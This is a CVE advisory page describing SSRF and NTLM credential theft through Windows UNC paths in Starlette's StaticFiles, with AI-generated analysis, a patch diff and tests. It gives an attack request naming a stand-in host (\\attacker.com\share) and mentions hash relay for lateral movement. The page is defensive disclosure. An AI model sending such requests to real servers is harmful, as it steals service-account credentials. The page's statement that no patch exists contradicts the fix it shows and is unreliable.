Starlette: SSRF and NTLM credential theft via UNC paths in StaticFiles on Windows
Description
UNC path handling in Starlette's StaticFiles on Windows triggers SMB connection and leaks NTLMv2 credentials via SSRF.
AI Insight
LLM-synthesized narrative grounded in this CVE's description and references.
UNC path handling in Starlette's StaticFiles on Windows triggers SMB connection and leaks NTLMv2 credentials via SSRF.
Vulnerability
In Starlette's StaticFiles (used directly or via FastAPI) on Windows, the lookup_path() method joins the requested path onto the served directory and calls os.path.realpath on the result before checking containment with os.path.commonpath [1][2]. A UNC path (e.g., \\attacker.com\share) is absolute on Windows, so os.path.join discards the served directory and realpath resolves the bare UNC path, triggering an outbound SMB connection and NTLM authentication before the containment check rejects the path [1][2]. This only affects the default configuration (follow_symlink=False); the follow_symlink=True branch uses os.path.abspath, which performs no I/O [1][2]. POSIX systems are not affected [1][2].
Exploitation
An attacker sends an HTTP request to a StaticFiles endpoint with a UNC path as the file path [1][2]. No authentication is required because StaticFiles is typically unauthenticated [1][2]. The server process opens an SMB connection (port 445) to the attacker-controlled host, automatically sending the service account's NTLMv2 credentials [1][2]. The HTTP response is a benign 404, but the credential disclosure has already occurred [1][2]. Additionally, the attacker can probe internal hosts reachable over SMB by observing response timing differences between valid and invalid addresses [1][2].
Impact
On successful exploitation, the attacker obtains the NTLMv2 hash of the Windows service account running the application [1][2]. This hash can be cracked offline to recover the plaintext password or relayed to other hosts for lateral movement [1][2]. The attacker also gains the ability to discover internal hosts that accept SMB connections, aiding further reconnaissance [1][2]. The compromise occurs at the privilege level of the service account, which may have broad access depending on the deployment [1][2].
Mitigation
Applications not running on Windows are not affected [1][2]. On Windows, the recommended mitigation is to serve static files through a dedicated web server (such as nginx or IIS) instead of using StaticFiles [1][2]. Blocking outbound SMB (port 445) from the application host prevents credential disclosure even if a UNC path is resolved [1][2]. No patch has been released as of the advisory date; the workarounds above are the only available mitigations [1][2].
AI Insight generated on Jun 15, 2026. Synthesized from this CVE's description and the cited reference URLs; citations are validated against the source bundle.
Affected products
3Patches
1fd53168a7767Reject absolute paths in `StaticFiles.lookup_path` (#3287)
2 files changed · +23 −0
starlette/staticfiles.py+3 −0 modified@@ -152,6 +152,9 @@ async def get_response(self, path: str, scope: Scope) -> Response: raise HTTPException(status_code=404) def lookup_path(self, path: str) -> tuple[str, os.stat_result | None]: + # Reject absolute paths so they cannot escape the served directory. + if path.startswith(("/", "\\")): + return "", None for directory in self.all_directories: joined_path = os.path.join(directory, path) if self.follow_symlink:
tests/test_staticfiles.py+20 −0 modified@@ -603,6 +603,26 @@ def test_staticfiles_avoids_path_traversal(tmp_path: Path) -> None: assert exc_info.value.detail == "Not Found" +def test_staticfiles_rejects_absolute_paths(tmp_path: Path) -> None: + statics_path = tmp_path / "static" + statics_path.mkdir() + app = StaticFiles(directory=statics_path) + + full_path, stat_result = app.lookup_path("/etc/passwd") + assert full_path == "" + assert stat_result is None + + +def test_staticfiles_rejects_absolute_windows_paths(tmp_path: Path) -> None: + statics_path = tmp_path / "static" + statics_path.mkdir() + app = StaticFiles(directory=statics_path) + + full_path, stat_result = app.lookup_path("\\\\server\\share") + assert full_path == "" + assert stat_result is None + + def test_staticfiles_self_symlinks(tmp_path: Path, test_client_factory: TestClientFactory) -> None: statics_path = tmp_path / "statics" statics_path.mkdir()
Vulnerability mechanics
Root cause
"Missing validation of absolute paths in StaticFiles.lookup_path allows a Windows UNC path to reach os.path.realpath, which triggers an outbound SMB connection and NTLM credential leak before the containment check."
Attack vector
An attacker sends an HTTP request for a path that starts with `\` (e.g. `\\attacker.com\share`) to a Starlette/FastAPI application using `StaticFiles` on Windows. Because `os.path.join` treats a UNC path as absolute, it discards the served directory and passes the bare UNC path to `os.path.realpath`, which triggers an outbound SMB connection (port 445) to the attacker-controlled host. The NTLMv2 credentials of the service account are leaked before the containment check returns a 404. [CWE-918]
Affected code
`starlette/staticfiles.py` — `StaticFiles.lookup_path()` method. The patch adds an early rejection of absolute paths (starting with `/` or `\`) before any filesystem I/O occurs.
What the fix does
The patch adds a guard at the top of `lookup_path()` that returns `("", None)` immediately if the requested path starts with `/` or `\`. This prevents any absolute path — including Windows UNC paths — from reaching `os.path.realpath`, eliminating the SMB connection and NTLM credential leak. The containment check is never reached because the path is rejected before any filesystem I/O occurs. [patch_id=6110797]
Preconditions
- configApplication must be running on Windows
- configStaticFiles must be used with default follow_symlink=False
- networkAttacker must be able to send HTTP requests to the application
- authNo authentication required on the StaticFiles endpoint
Generated on Jun 15, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.
References
2News mentions
0No linked articles in our index yet.